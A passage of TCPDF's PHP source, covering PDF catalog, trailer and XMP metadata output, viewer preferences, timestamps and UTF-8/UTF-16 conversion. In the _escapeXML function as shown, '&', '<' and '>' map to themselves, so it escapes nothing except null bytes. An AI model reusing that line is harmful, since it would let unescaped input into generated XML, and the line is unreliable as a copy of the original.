rdf:parseType="Resource">'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:category>internal</pdfaProperty:category>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:description>Part of PDF/A standard</pdfaProperty:description>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:name>part</pdfaProperty:name>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:valueType>Integer</pdfaProperty:valueType>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'</rdf:li>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'<rdf:li rdf:parseType="Resource">'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:category>internal</pdfaProperty:category>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:description>Amendment of PDF/A standard</pdfaProperty:description>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:name>amd</pdfaProperty:name>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:valueType>Text</pdfaProperty:valueType>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'</rdf:li>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'<rdf:li rdf:parseType="Resource">'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:category>internal</pdfaProperty:category>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:description>Conformance level of PDF/A standard</pdfaProperty:description>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:name>conformance</pdfaProperty:name>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t\t".'<pdfaProperty:valueType>Text</pdfaProperty:valueType>'."\n"; $xmp .= "\t\t\t\t\t\t\t\t".'</rdf:li>'."\n"; $xmp .= "\t\t\t\t\t\t\t".'</rdf:Seq>'."\n"; $xmp .= "\t\t\t\t\t\t".'</pdfaSchema:property>'."\n"; $xmp .= "\t\t\t\t\t".'</rdf:li>'."\n"; $xmp .= "\t\t\t\t".'</rdf:Bag>'."\n"; $xmp .= "\t\t\t".'</pdfaExtension:schemas>'."\n"; $xmp .= "\t\t".'</rdf:Description>'."\n"; $xmp .= "\t".'</rdf:RDF>'."\n"; $xmp .= $this->custom_xmp; $xmp .= '</x:xmpmeta>'."\n"; $xmp .= '<?xpacket end="w"?>'; $out = '<< /Type /Metadata /Subtype /XML /Length '.strlen($xmp).' >> stream'."\n".$xmp."\n".'endstream'."\n".'endobj'; // restore previous isunicode value $this->isunicode = $prev_isunicode; $this->encrypted = $prev_encrypted; $this->_out($out); return $oid; } /** * Output Catalog. * @return int object id * @protected */ protected function _putcatalog() { // put XMP $xmpobj = $this->_putXMP(); // if required, add standard sRGB_IEC61966-2.1 blackscaled ICC colour profile if ($this->pdfa_mode OR $this->force_srgb) { $iccobj = $this->_newobj(); $icc = file_get_contents(dirname(__FILE__).'/sRGB.icc'); $filter = ''; if ($this->compress) { $filter = ' /Filter /FlateDecode'; $icc = gzcompress($icc); } $icc = $this->_getrawstream($icc); $this->_out('<</N 3 '.$filter.'/Length '.strlen($icc).'>> stream'."\n".$icc."\n".'endstream'."\n".'endobj'); } // start catalog $oid = $this->_newobj(); $out = '<< /Type /Catalog'; $out .= ' /Version /'.$this->PDFVersion; //$out .= ' /Extensions <<>>'; $out .= ' /Pages 1 0 R'; //$out .= ' /PageLabels ' //...; $out .= ' /Names <<'; if ((!$this->pdfa_mode) AND !empty($this->n_js)) { $out .= ' /JavaScript '.$this->n_js; } if (!empty($this->efnames)) { $out .= ' /EmbeddedFiles <</Names ['; foreach ($this->efnames AS $fn => $fref) { $out .= ' '.$this->_datastring($fn).' '.$fref; } $out .= ' ]>>'; } $out .= ' >>'; if (!empty($this->dests)) { $out .= ' /Dests '.($this->n_dests).' 0 R'; } $out .= $this->_putviewerpreferences(); if (isset($this->LayoutMode) AND (!$this->empty_string($this->LayoutMode))) { $out .= ' /PageLayout /'.$this->LayoutMode; } if (isset($this->PageMode) AND (!$this->empty_string($this->PageMode))) { $out .= ' /PageMode /'.$this->PageMode; } if (count($this->outlines) > 0) { $out .= ' /Outlines '.$this->OutlineRoot.' 0 R'; $out .= ' /PageMode /UseOutlines'; } //$out .= ' /Threads []'; if ($this->ZoomMode == 'fullpage') { $out .= ' /OpenAction ['.$this->page_obj_id[1].' 0 R /Fit]'; } elseif ($this->ZoomMode == 'fullwidth') { $out .= ' /OpenAction ['.$this->page_obj_id[1].' 0 R /FitH null]'; } elseif ($this->ZoomMode == 'real') { $out .= ' /OpenAction ['.$this->page_obj_id[1].' 0 R /XYZ null null 1]'; } elseif (!is_string($this->ZoomMode)) { $out .= sprintf(' /OpenAction ['.$this->page_obj_id[1].' 0 R /XYZ null null %F]', ($this->ZoomMode / 100)); } //$out .= ' /AA <<>>'; //$out .= ' /URI <<>>'; $out .= ' /Metadata '.$xmpobj.' 0 R'; //$out .= ' /StructTreeRoot <<>>'; //$out .= ' /MarkInfo <<>>'; if (isset($this->l['a_meta_language'])) { $out .= ' /Lang '.$this->_textstring($this->l['a_meta_language'], $oid); } //$out .= ' /SpiderInfo <<>>'; // set OutputIntent to sRGB IEC61966-2.1 if required if ($this->pdfa_mode OR $this->force_srgb) { $out .= ' /OutputIntents [<<'; $out .= ' /Type /OutputIntent'; $out .= ' /S /GTS_PDFA1'; $out .= ' /OutputCondition '.$this->_textstring('sRGB IEC61966-2.1', $oid); $out .= ' /OutputConditionIdentifier '.$this->_textstring('sRGB IEC61966-2.1', $oid); $out .= ' /RegistryName '.$this->_textstring('http://www.color.org', $oid); $out .= ' /Info '.$this->_textstring('sRGB IEC61966-2.1', $oid); $out .= ' /DestOutputProfile '.$iccobj.' 0 R'; $out .= ' >>]'; } //$out .= ' /PieceInfo <<>>'; if (!empty($this->pdflayers)) { $lyrobjs = ''; $lyrobjs_print = ''; $lyrobjs_view = ''; foreach ($this->pdflayers as $layer) { $lyrobjs .= ' '.$layer['objid'].' 0 R'; if ($layer['print']) { $lyrobjs_print .= ' '.$layer['objid'].' 0 R'; } if ($layer['view']) { $lyrobjs_view .= ' '.$layer['objid'].' 0 R'; } } $out .= ' /OCProperties << /OCGs ['.$lyrobjs.']'; $out .= ' /D <<'; $out .= ' /Name '.$this->_textstring('Layers', $oid); $out .= ' /Creator '.$this->_textstring('TCPDF', $oid); $out .= ' /BaseState /ON'; $out .= ' /ON ['.$lyrobjs_print.']'; $out .= ' /OFF ['.$lyrobjs_view.']'; $out .= ' /Intent /View'; $out .= ' /AS ['; $out .= ' << /Event /Print /OCGs ['.$lyrobjs.'] /Category [/Print] >>'; $out .= ' << /Event /View /OCGs ['.$lyrobjs.'] /Category [/View] >>'; $out .= ' ]'; $out .= ' /Order ['.$lyrobjs.']'; $out .= ' /ListMode /AllPages'; //$out .= ' /RBGroups ['..']'; //$out .= ' /Locked ['..']'; $out .= ' >>'; $out .= ' >>'; } // AcroForm if (!empty($this->form_obj_id) OR ($this->sign AND isset($this->signature_data['cert_type']))) { $out .= ' /AcroForm <<'; $objrefs = ''; if ($this->sign AND isset($this->signature_data['cert_type'])) { // set reference for signature object $objrefs .= $this->sig_obj_id.' 0 R'; } if (!empty($this->empty_signature_appearance)) { foreach ($this->empty_signature_appearance as $esa) { // set reference for empty signature objects $objrefs .= ' '.$esa['objid'].' 0 R'; } } if (!empty($this->form_obj_id)) { foreach($this->form_obj_id as $objid) { $objrefs .= ' '.$objid.' 0 R'; } } $out .= ' /Fields ['.$objrefs.']'; // It's better to turn off this value and set the appearance stream for each annotation (/AP) to avoid conflicts with signature fields. $out .= ' /NeedAppearances false'; if ($this->sign AND isset($this->signature_data['cert_type'])) { if ($this->signature_data['cert_type'] > 0) { $out .= ' /SigFlags 3'; } else { $out .= ' /SigFlags 1'; } } //$out .= ' /CO '; if (isset($this->annotation_fonts) AND !empty($this->annotation_fonts)) { $out .= ' /DR <<'; $out .= ' /Font <<'; foreach ($this->annotation_fonts as $fontkey => $fontid) { $out .= ' /F'.$fontid.' '.$this->font_obj_ids[$fontkey].' 0 R'; } $out .= ' >> >>'; } $font = $this->getFontBuffer('helvetica'); $out .= ' /DA (/F'.$font['i'].' 0 Tf 0 g)'; $out .= ' /Q '.(($this->rtl)?'2':'0'); //$out .= ' /XFA '; $out .= ' >>'; // signatures if ($this->sign AND isset($this->signature_data['cert_type'])) { if ($this->signature_data['cert_type'] > 0) { $out .= ' /Perms << /DocMDP '.($this->sig_obj_id + 1).' 0 R >>'; } else { $out .= ' /Perms << /UR3 '.($this->sig_obj_id + 1).' 0 R >>'; } } } //$out .= ' /Legal <<>>'; //$out .= ' /Requirements []'; //$out .= ' /Collection <<>>'; //$out .= ' /NeedsRendering true'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); return $oid; } /** * Output viewer preferences. * @return string for viewer preferences * @author Nicola asuni * @since 3.1.000 (2008-06-09) * @protected */ protected function _putviewerpreferences() { $out = ' /ViewerPreferences <<'; if ($this->rtl) { $out .= ' /Direction /R2L'; } else { $out .= ' /Direction /L2R'; } if (isset($this->viewer_preferences['HideToolbar']) AND ($this->viewer_preferences['HideToolbar'])) { $out .= ' /HideToolbar true'; } if (isset($this->viewer_preferences['HideMenubar']) AND ($this->viewer_preferences['HideMenubar'])) { $out .= ' /HideMenubar true'; } if (isset($this->viewer_preferences['HideWindowUI']) AND ($this->viewer_preferences['HideWindowUI'])) { $out .= ' /HideWindowUI true'; } if (isset($this->viewer_preferences['FitWindow']) AND ($this->viewer_preferences['FitWindow'])) { $out .= ' /FitWindow true'; } if (isset($this->viewer_preferences['CenterWindow']) AND ($this->viewer_preferences['CenterWindow'])) { $out .= ' /CenterWindow true'; } if (isset($this->viewer_preferences['DisplayDocTitle']) AND ($this->viewer_preferences['DisplayDocTitle'])) { $out .= ' /DisplayDocTitle true'; } if (isset($this->viewer_preferences['NonFullScreenPageMode'])) { $out .= ' /NonFullScreenPageMode /'.$this->viewer_preferences['NonFullScreenPageMode']; } if (isset($this->viewer_preferences['ViewArea'])) { $out .= ' /ViewArea /'.$this->viewer_preferences['ViewArea']; } if (isset($this->viewer_preferences['ViewClip'])) { $out .= ' /ViewClip /'.$this->viewer_preferences['ViewClip']; } if (isset($this->viewer_preferences['PrintArea'])) { $out .= ' /PrintArea /'.$this->viewer_preferences['PrintArea']; } if (isset($this->viewer_preferences['PrintClip'])) { $out .= ' /PrintClip /'.$this->viewer_preferences['PrintClip']; } if (isset($this->viewer_preferences['PrintScaling'])) { $out .= ' /PrintScaling /'.$this->viewer_preferences['PrintScaling']; } if (isset($this->viewer_preferences['Duplex']) AND (!$this->empty_string($this->viewer_preferences['Duplex']))) { $out .= ' /Duplex /'.$this->viewer_preferences['Duplex']; } if (isset($this->viewer_preferences['PickTrayByPDFSize'])) { if ($this->viewer_preferences['PickTrayByPDFSize']) { $out .= ' /PickTrayByPDFSize true'; } else { $out .= ' /PickTrayByPDFSize false'; } } if (isset($this->viewer_preferences['PrintPageRange'])) { $PrintPageRangeNum = ''; foreach ($this->viewer_preferences['PrintPageRange'] as $k => $v) { $PrintPageRangeNum .= ' '.($v - 1).''; } $out .= ' /PrintPageRange ['.substr($PrintPageRangeNum,1).']'; } if (isset($this->viewer_preferences['NumCopies'])) { $out .= ' /NumCopies '.intval($this->viewer_preferences['NumCopies']); } $out .= ' >>'; return $out; } /** * Output PDF File Header (7.5.2). * @protected */ protected function _putheader() { $this->_out('%PDF-'.$this->PDFVersion); $this->_out('%'.chr(0xe2).chr(0xe3).chr(0xcf).chr(0xd3)); } /** * Output end of document (EOF). * @protected */ protected function _enddoc() { $this->state = 1; $this->_putheader(); $this->_putpages(); $this->_putresources(); // empty signature fields if (!empty($this->empty_signature_appearance)) { foreach ($this->empty_signature_appearance as $key => $esa) { // widget annotation for empty signature $out = $this->_getobj($esa['objid'])."\n"; $out .= '<< /Type /Annot'; $out .= ' /Subtype /Widget'; $out .= ' /Rect ['.$esa['rect'].']'; $out .= ' /P '.$this->page_obj_id[($esa['page'])].' 0 R'; // link to signature appearance page $out .= ' /F 4'; $out .= ' /FT /Sig'; $signame = sprintf('Signature_%03d', ($key + 1)); $out .= ' /T '.$this->_textstring($signame, $esa['objid']); $out .= ' /Ff 0'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } } // Signature if ($this->sign AND isset($this->signature_data['cert_type'])) { // widget annotation for signature $out = $this->_getobj($this->sig_obj_id)."\n"; $out .= '<< /Type /Annot'; $out .= ' /Subtype /Widget'; $out .= ' /Rect ['.$this->signature_appearance['rect'].']'; $out .= ' /P '.$this->page_obj_id[($this->signature_appearance['page'])].' 0 R'; // link to signature appearance page $out .= ' /F 4'; $out .= ' /FT /Sig'; $out .= ' /T '.$this->_textstring('Signature_000', $this->sig_obj_id); $out .= ' /Ff 0'; $out .= ' /V '.($this->sig_obj_id + 1).' 0 R'; $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); // signature $this->_putsignature(); } // Info $objid_info = $this->_putinfo(); // Catalog $objid_catalog = $this->_putcatalog(); // Cross-ref $o = $this->bufferlen; // XREF section $this->_out('xref'); $this->_out('0 '.($this->n + 1)); $this->_out('0000000000 65535 f '); $freegen = ($this->n + 2); for ($i=1; $i <= $this->n; ++$i) { if (!isset($this->offsets[$i]) AND ($i > 1)) { $this->_out(sprintf('0000000000 %05d f ', $freegen)); ++$freegen; } else { $this->_out(sprintf('%010d 00000 n ', $this->offsets[$i])); } } // TRAILER $out = 'trailer'."\n"; $out .= '<<'; $out .= ' /Size '.($this->n + 1); $out .= ' /Root '.$objid_catalog.' 0 R'; $out .= ' /Info '.$objid_info.' 0 R'; if ($this->encrypted) { $out .= ' /Encrypt '.$this->encryptdata['objid'].' 0 R'; } $out .= ' /ID [ <'.$this->file_id.'> <'.$this->file_id.'> ]'; $out .= ' >>'; $this->_out($out); $this->_out('startxref'); $this->_out($o); $this->_out('%%EOF'); $this->state = 3; // end-of-doc if ($this->diskcache) { // remove temporary files used for images foreach ($this->imagekeys as $key) { // remove temporary files unlink($this->images[$key]); } foreach ($this->fontkeys as $key) { // remove temporary files unlink($this->fonts[$key]); } } } /** * Initialize a new page. * @param $orientation (string) page orientation. Possible values are (case insensitive):<ul><li>P or PORTRAIT (default)</li><li>L or LANDSCAPE</li></ul> * @param $format (mixed) The format used for pages. It can be either: one of the string values specified at getPageSizeFromFormat() or an array of parameters specified at setPageFormat(). * @protected * @see getPageSizeFromFormat(), setPageFormat() */ protected function _beginpage($orientation='', $format='') { ++$this->page; $this->pageobjects[$this->page] = array(); $this->setPageBuffer($this->page, ''); // initialize array for graphics tranformation positions inside a page buffer $this->transfmrk[$this->page] = array(); $this->state = 2; if ($this->empty_string($orientation)) { if (isset($this->CurOrientation)) { $orientation = $this->CurOrientation; } elseif ($this->fwPt > $this->fhPt) { // landscape $orientation = 'L'; } else { // portrait $orientation = 'P'; } } if ($this->empty_string($format)) { $this->pagedim[$this->page] = $this->pagedim[($this->page - 1)]; $this->setPageOrientation($orientation); } else { $this->setPageFormat($format, $orientation); } if ($this->rtl) { $this->x = $this->w - $this->rMargin; } else { $this->x = $this->lMargin; } $this->y = $this->tMargin; if (isset($this->newpagegroup[$this->page])) { // start a new group $this->currpagegroup = $this->newpagegroup[$this->page]; $this->pagegroups[$this->currpagegroup] = 1; } elseif (isset($this->currpagegroup) AND ($this->currpagegroup > 0)) { ++$this->pagegroups[$this->currpagegroup]; } } /** * Mark end of page. * @protected */ protected function _endpage() { $this->setVisibility('all'); $this->state = 1; } /** * Begin a new object and return the object number. * @return int object number * @protected */ protected function _newobj() { $this->_out($this->_getobj()); return $this->n; } /** * Return the starting object string for the selected object ID. * @param $objid (int) Object ID (leave empty to get a new ID). * @return string the starting object string * @protected * @since 5.8.009 (2010-08-20) */ protected function _getobj($objid='') { if ($objid === '') { ++$this->n; $objid = $this->n; } $this->offsets[$objid] = $this->bufferlen; $this->pageobjects[$this->page][] = $objid; return $objid.' 0 obj'; } /** * Underline text. * @param $x (int) X coordinate * @param $y (int) Y coordinate * @param $txt (string) text to underline * @protected */ protected function _dounderline($x, $y, $txt) { $w = $this->GetStringWidth($txt); return $this->_dounderlinew($x, $y, $w); } /** * Underline for rectangular text area. * @param $x (int) X coordinate * @param $y (int) Y coordinate * @param $w (int) width to underline * @protected * @since 4.8.008 (2009-09-29) */ protected function _dounderlinew($x, $y, $w) { $linew = - $this->CurrentFont['ut'] / 1000 * $this->FontSizePt; return sprintf('%F %F %F %F re f', $x * $this->k, ((($this->h - $y) * $this->k) + $linew), $w * $this->k, $linew); } /** * Line through text. * @param $x (int) X coordinate * @param $y (int) Y coordinate * @param $txt (string) text to linethrough * @protected */ protected function _dolinethrough($x, $y, $txt) { $w = $this->GetStringWidth($txt); return $this->_dolinethroughw($x, $y, $w); } /** * Line through for rectangular text area. * @param $x (int) X coordinate * @param $y (int) Y coordinate * @param $w (int) line length (width) * @protected * @since 4.9.008 (2009-09-29) */ protected function _dolinethroughw($x, $y, $w) { $linew = - $this->CurrentFont['ut'] / 1000 * $this->FontSizePt; return sprintf('%F %F %F %F re f', $x * $this->k, ((($this->h - $y) * $this->k) + $linew + ($this->FontSizePt / 3)), $w * $this->k, $linew); } /** * Overline text. * @param $x (int) X coordinate * @param $y (int) Y coordinate * @param $txt (string) text to overline * @protected * @since 4.9.015 (2010-04-19) */ protected function _dooverline($x, $y, $txt) { $w = $this->GetStringWidth($txt); return $this->_dooverlinew($x, $y, $w); } /** * Overline for rectangular text area. * @param $x (int) X coordinate * @param $y (int) Y coordinate * @param $w (int) width to overline * @protected * @since 4.9.015 (2010-04-19) */ protected function _dooverlinew($x, $y, $w) { $linew = - $this->CurrentFont['ut'] / 1000 * $this->FontSizePt; return sprintf('%F %F %F %F re f', $x * $this->k, (($this->h - $y + $this->FontAscent) * $this->k) - $linew, $w * $this->k, $linew); } /** * Read a 4-byte (32 bit) integer from file. * @param $f (string) file name. * @return 4-byte integer * @protected */ protected function _freadint($f) { $a = unpack('Ni', fread($f, 4)); return $a['i']; } /** * Add "\" before "\", "(" and ")" * @param $s (string) string to escape. * @return string escaped string. * @protected */ protected function _escape($s) { // the chr(13) substitution fixes the Bugs item #1421290. return strtr($s, array(')' => '\\)', '(' => '\\(', '\\' => '\\\\', chr(13) => '\r')); } /** * Format a data string for meta information * @param $s (string) data string to escape. * @param $n (int) object ID * @return string escaped string. * @protected */ protected function _datastring($s, $n=0) { if ($n == 0) { $n = $this->n; } $s = $this->_encrypt_data($n, $s); return '('. $this->_escape($s).')'; } /** * Set the document creation timestamp * @param $time (mixed) Document creation timestamp in seconds or date-time string. * @public * @since 5.9.152 (2012-03-23) */ public function setDocCreationTimestamp($time) { if (is_string($time)) { $time = getTimestamp($time); } $this->doc_creation_timestamp = intval($time); } /** * Set the document modification timestamp * @param $time (mixed) Document modification timestamp in seconds or date-time string. * @public * @since 5.9.152 (2012-03-23) */ public function setDocModificationTimestamp($time) { if (is_string($time)) { $time = getTimestamp($time); } $this->doc_modification_timestamp = intval($time); } /** * Returns document creation timestamp in seconds. * @return (int) Creation timestamp in seconds. * @public * @since 5.9.152 (2012-03-23) */ public function getDocCreationTimestamp() { return $this->doc_creation_timestamp; } /** * Returns document modification timestamp in seconds. * @return (int) Modfication timestamp in seconds. * @public * @since 5.9.152 (2012-03-23) */ public function getDocModificationTimestamp() { return $this->doc_modification_timestamp; } /** * Returns timestamp in seconds from formatted date-time. * @param $date (string) Formatted date-time. * @return int seconds. * @public * @since 5.9.152 (2012-03-23) */ public function getTimestamp($date) { if (($date[0] == 'D') AND ($date[1] == ':')) { // remove date prefix if present $date = substr($date, 2); } return strtotime($date); } /** * Returns a formatted date-time. * @param $time (int) Time in seconds. * @return string escaped date string. * @public * @since 5.9.152 (2012-03-23) */ public function getFormattedDate($time) { return substr_replace(date('YmdHisO', intval($time)), '\'', (0 - 2), 0).'\''; } /** * Returns a formatted date for meta information * @param $n (int) Object ID. * @param $timestamp (int) Timestamp to convert. * @return string escaped date string. * @protected * @since 4.6.028 (2009-08-25) */ protected function _datestring($n=0, $timestamp=0) { if ((empty($timestamp)) OR ($timestamp < 0)) { $timestamp = $this->doc_creation_timestamp; } return $this->_datastring('D:'.$this->getFormattedDate($timestamp), $n); } /** * Format a text string for meta information * @param $s (string) string to escape. * @param $n (int) object ID * @return string escaped string. * @protected */ protected function _textstring($s, $n=0) { if ($this->isunicode) { //Convert string to UTF-16BE $s = $this->UTF8ToUTF16BE($s, true); } return $this->_datastring($s, $n); } /** * THIS METHOD IS DEPRECATED * Format a text string * @param $s (string) string to escape. * @return string escaped string. * @protected * @deprecated */ protected function _escapetext($s) { if ($this->isunicode) { if (($this->CurrentFont['type'] == 'core') OR ($this->CurrentFont['type'] == 'TrueType') OR ($this->CurrentFont['type'] == 'Type1')) { $s = $this->UTF8ToLatin1($s); } else { //Convert string to UTF-16BE and reverse RTL language $s = $this->utf8StrRev($s, false, $this->tmprtl); } } return $this->_escape($s); } /** * Escape some special characters (< > &) for XML output. * @param $str (string) Input string to convert. * @return converted string * @since 5.9.121 (2011-09-28) * @protected */ protected function _escapeXML($str) { $replaceTable = array("\0" => '', '&' => '&', '<' => '<', '>' => '>'); $str = strtr($str, $replaceTable); return $str; } /** * get raw output stream. * @param $s (string) string to output. * @param $n (int) object reference for encryption mode * @protected * @author Nicola Asuni * @since 5.5.000 (2010-06-22) */ protected function _getrawstream($s, $n=0) { if ($n <= 0) { // default to current object $n = $this->n; } return $this->_encrypt_data($n, $s); } /** * Format output stream (DEPRECATED). * @param $s (string) string to output. * @param $n (int) object reference for encryption mode * @protected * @deprecated */ protected function _getstream($s, $n=0) { return 'stream'."\n".$this->_getrawstream($s, $n)."\n".'endstream'; } /** * Output a stream (DEPRECATED). * @param $s (string) string to output. * @param $n (int) object reference for encryption mode * @protected * @deprecated */ protected function _putstream($s, $n=0) { $this->_out($this->_getstream($s, $n)); } /** * Output a string to the document. * @param $s (string) string to output. * @protected */ protected function _out($s) { if ($this->state == 2) { if ($this->inxobj) { // we are inside an XObject template $this->xobjects[$this->xobjid]['outdata'] .= $s."\n"; } elseif ((!$this->InFooter) AND isset($this->footerlen[$this->page]) AND ($this->footerlen[$this->page] > 0)) { // puts data before page footer $pagebuff = $this->getPageBuffer($this->page); $page = substr($pagebuff, 0, -$this->footerlen[$this->page]); $footer = substr($pagebuff, -$this->footerlen[$this->page]); $this->setPageBuffer($this->page, $page.$s."\n".$footer); // update footer position $this->footerpos[$this->page] += strlen($s."\n"); } else { // set page data $this->setPageBuffer($this->page, $s."\n", true); } } elseif ($this->state > 0) { // set general data $this->setBuffer($s."\n"); } } /** * Converts UTF-8 strings to codepoints array.<br> * Invalid byte sequences will be replaced with 0xFFFD (replacement character)<br> * Based on: http://www.faqs.org/rfcs/rfc3629.html * <pre> * Char. number range | UTF-8 octet sequence * (hexadecimal) | (binary) * --------------------+----------------------------------------------- * 0000 0000-0000 007F | 0xxxxxxx * 0000 0080-0000 07FF | 110xxxxx 10xxxxxx * 0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx * 0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx * --------------------------------------------------------------------- * * ABFN notation: * --------------------------------------------------------------------- * UTF8-octets = *( UTF8-char ) * UTF8-char = UTF8-1 / UTF8-2 / UTF8-3 / UTF8-4 * UTF8-1 = %x00-7F * UTF8-2 = %xC2-DF UTF8-tail * * UTF8-3 = %xE0 %xA0-BF UTF8-tail / %xE1-EC 2( UTF8-tail ) / * %xED %x80-9F UTF8-tail / %xEE-EF 2( UTF8-tail ) * UTF8-4 = %xF0 %x90-BF 2( UTF8-tail ) / %xF1-F3 3( UTF8-tail ) / * %xF4 %x80-8F 2( UTF8-tail ) * UTF8-tail = %x80-BF * --------------------------------------------------------------------- * </pre> * @param $str (string) string to process. * @return array containing codepoints (UTF-8 characters values) * @protected * @author Nicola Asuni * @since 1.53.0.TC005 (2005-01-05) */ protected function UTF8StringToArray($str) { // build a unique string key $strkey = md5($str); if (isset($this->cache_UTF8StringToArray[$strkey])) { // return cached value $chrarray = $this->cache_UTF8StringToArray[$strkey]['s']; if (!isset($this->cache_UTF8StringToArray[$strkey]['f'][$this->CurrentFont['fontkey']])) { if ($this->isunicode) { foreach ($chrarray as $chr) { // store this char for font subsetting $this->CurrentFont['subsetchars'][$chr] = true; } // update font subsetchars $this->setFontSubBuffer($this->CurrentFont['fontkey'], 'subsetchars', $this->CurrentFont['subsetchars']); } $this->cache_UTF8StringToArray[$strkey]['f'][$this->CurrentFont['fontkey']] = true; } return $chrarray; } // check cache size if ($this->cache_size_UTF8StringToArray >= $this->cache_maxsize_UTF8StringToArray) { // remove first element array_shift($this->cache_UTF8StringToArray); } // new cache array for selected string $this->cache_UTF8StringToArray[$strkey] = array('s' => array(), 'f' => array()); ++$this->cache_size_UTF8StringToArray; if (!$this->isunicode) { // split string into array of equivalent codes $strarr = array(); $strlen = strlen($str); for ($i=0; $i < $strlen; ++$i) { $strarr[] = ord($str[$i]); } // insert new value on cache $this->cache_UTF8StringToArray[$strkey]['s'] = $strarr; $this->cache_UTF8StringToArray[$strkey]['f'][$this->CurrentFont['fontkey']] = true; return $strarr; } $unichar = -1; // last unicode char $unicode = array(); // array containing unicode values $bytes = array(); // array containing single character byte sequences $numbytes = 1; // number of octetc needed to represent the UTF-8 character $str .= ''; // force $str to be a string $length = strlen($str); for ($i = 0; $i < $length; ++$i) { $char = ord($str[$i]); // get one string character at time if (count($bytes) == 0) { // get starting octect if ($char <= 0x7F) { $unichar = $char; // use the character "as is" because is ASCII $numbytes = 1; } elseif (($char >> 0x05) == 0x06) { // 2 bytes character (0x06 = 110 BIN) $bytes[] = ($char - 0xC0) << 0x06; $numbytes = 2; } elseif (($char >> 0x04) == 0x0E) { // 3 bytes character (0x0E = 1110 BIN) $bytes[] = ($char - 0xE0) << 0x0C; $numbytes = 3; } elseif (($char >> 0x03) == 0x1E) { // 4 bytes character (0x1E = 11110 BIN) $bytes[] = ($char - 0xF0) << 0x12; $numbytes = 4; } else { // use replacement character for other invalid sequences $unichar = 0xFFFD; $bytes = array(); $numbytes = 1; } } elseif (($char >> 0x06) == 0x02) { // bytes 2, 3 and 4 must start with 0x02 = 10 BIN $bytes[] = $char - 0x80; if (count($bytes) == $numbytes) { // compose UTF-8 bytes to a single unicode value $char = $bytes[0]; for ($j = 1; $j < $numbytes; ++$j) { $char += ($bytes[$j] << (($numbytes - $j - 1) * 0x06)); } if ((($char >= 0xD800) AND ($char <= 0xDFFF)) OR ($char >= 0x10FFFF)) { /* The definition of UTF-8 prohibits encoding character numbers between U+D800 and U+DFFF, which are reserved for use with the UTF-16 encoding form (as surrogate pairs) and do not directly represent characters. */ $unichar = 0xFFFD; // use replacement character } else { $unichar = $char; // add char to array } // reset data for next char $bytes = array(); $numbytes = 1; } } else { // use replacement character for other invalid sequences $unichar = 0xFFFD; $bytes = array(); $numbytes = 1; } if ($unichar >= 0) { // insert unicode value into array $unicode[] = $unichar; // store this char for font subsetting $this->CurrentFont['subsetchars'][$unichar] = true; $unichar = -1; } } // update font subsetchars $this->setFontSubBuffer($this->CurrentFont['fontkey'], 'subsetchars', $this->CurrentFont['subsetchars']); // insert new value on cache $this->cache_UTF8StringToArray[$strkey]['s'] = $unicode; $this->cache_UTF8StringToArray[$strkey]['f'][$this->CurrentFont['fontkey']] = true; return $unicode; } /** * Converts UTF-8 strings to UTF16-BE.<br> * @param $str (string) string to process. * @param $setbom (boolean) if true set the Byte Order Mark (BOM = 0xFEFF) * @return string * @author Nicola Asuni * @since 1.53.0.TC005 (2005-01-05) * @see UTF8StringToArray(), arrUTF8ToUTF16BE() * @protected */ protected function UTF8ToUTF16BE($str, $setbom=false) { if (!$this->isunicode) { return $str; // string is not in unicode } $unicode = $this->UTF8StringToArray($str); // array containing UTF-8 unicode values return $this->arrUTF8ToUTF16BE($unicode, $setbom); } /** * Converts UTF-8 strings to Latin1 when using the standard 14 core fonts.<br> * @param $str (string) string to process. * @return string * @author Andrew Whitehead, Nicola Asuni * @protected * @since 3.2.000 (2008-06-23) */ protected function UTF8ToLatin1($str) { if (!$this->isunicode) { return $str; // string is not in unicode } $outstr = ''; // string to be returned $unicode = $this->UTF8StringToArray($str); // array containing UTF-8 unicode values foreach ($unicode as $char) { if ($char < 256) { $outstr .= chr($char); } elseif (array_key_exists($char, $this->unicode->uni_utf8tolatin)) { // map from UTF-8 $outstr .= chr($this->unicode->uni_utf8tolatin[$char]); } elseif ($char == 0xFFFD) { // skip } else { $outstr .= '?'; } } return $outstr; } /** * Converts UTF-8 characters array to array of Latin1 characters<br> * @param $unicode (array) array containing UTF-8 unicode values * @return array * @author Nicola Asuni * @protected * @since 4.8.023 (2010-01-15) */ protected function UTF8ArrToLatin1($unicode) { if ((!$this->isunicode) OR $this->isUnicodeFont()) { return $unicode; } $outarr = array(); // array to be returned foreach ($unicode as $char) { if ($char < 256) { $outarr[] = $char; } elseif (array_key_exists($char, $this->unicode->uni_utf8tolatin)) { // map from UTF-8 $outarr[] = $this->unicode->uni_utf8tolatin[$char]; } elseif ($char == 0xFFFD) { // skip } else { $outarr[] = 63; // '?' character } } return $outarr; } /** * Converts array of UTF-8 characters to UTF16-BE string.<br> * Based on: http://www.faqs.org/rfcs/rfc2781.html * <pre> * Encoding UTF-16: * * Encoding of a single character from an ISO 10646 character value to * UTF-16 proceeds as follows. Let U be the character number, no greater * than 0x10FFFF. * * 1) If U < 0x10000, encode U as a 16-bit unsigned integer and * terminate. * * 2) Let U' = U - 0x10000. Because U is less than or equal to 